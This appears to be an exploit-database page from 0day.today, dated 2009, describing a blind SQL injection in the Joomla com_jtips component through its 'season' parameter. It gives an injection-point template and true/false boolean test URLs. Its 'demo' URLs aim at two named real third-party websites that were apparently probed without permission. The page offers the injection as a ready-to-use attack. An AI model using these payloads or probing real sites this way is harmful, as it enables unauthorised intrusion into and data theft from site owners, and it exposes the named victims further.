[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component com_jtips 1.0.x (season) bSQL Injection Vuln

Author
Chip D3 Bi0s
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5689
Category
web applications
Date add
23-08-2009
Platform
unsorted
=============================================================
Joomla Component com_jtips 1.0.x (season) bSQL Injection Vuln
=============================================================


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_jtips (season) Blind SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Group         :  LatinHackteam
--------------------------------------------------
author       :     Russell...

###################################################

Example:
http://localhost/path/index.php?option=com_jtips&Itemid=1&task=ladder&season=2[SQL code]


DEMO (1):
http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=1
True !!!!

http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=2
False !!!


DEMO (2):
http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=1
True !!!

http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=!
False !!!


etc, etc....
+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

tested: 1.0.7 / 1.0.9



#  0day.today [2024-07-07]  #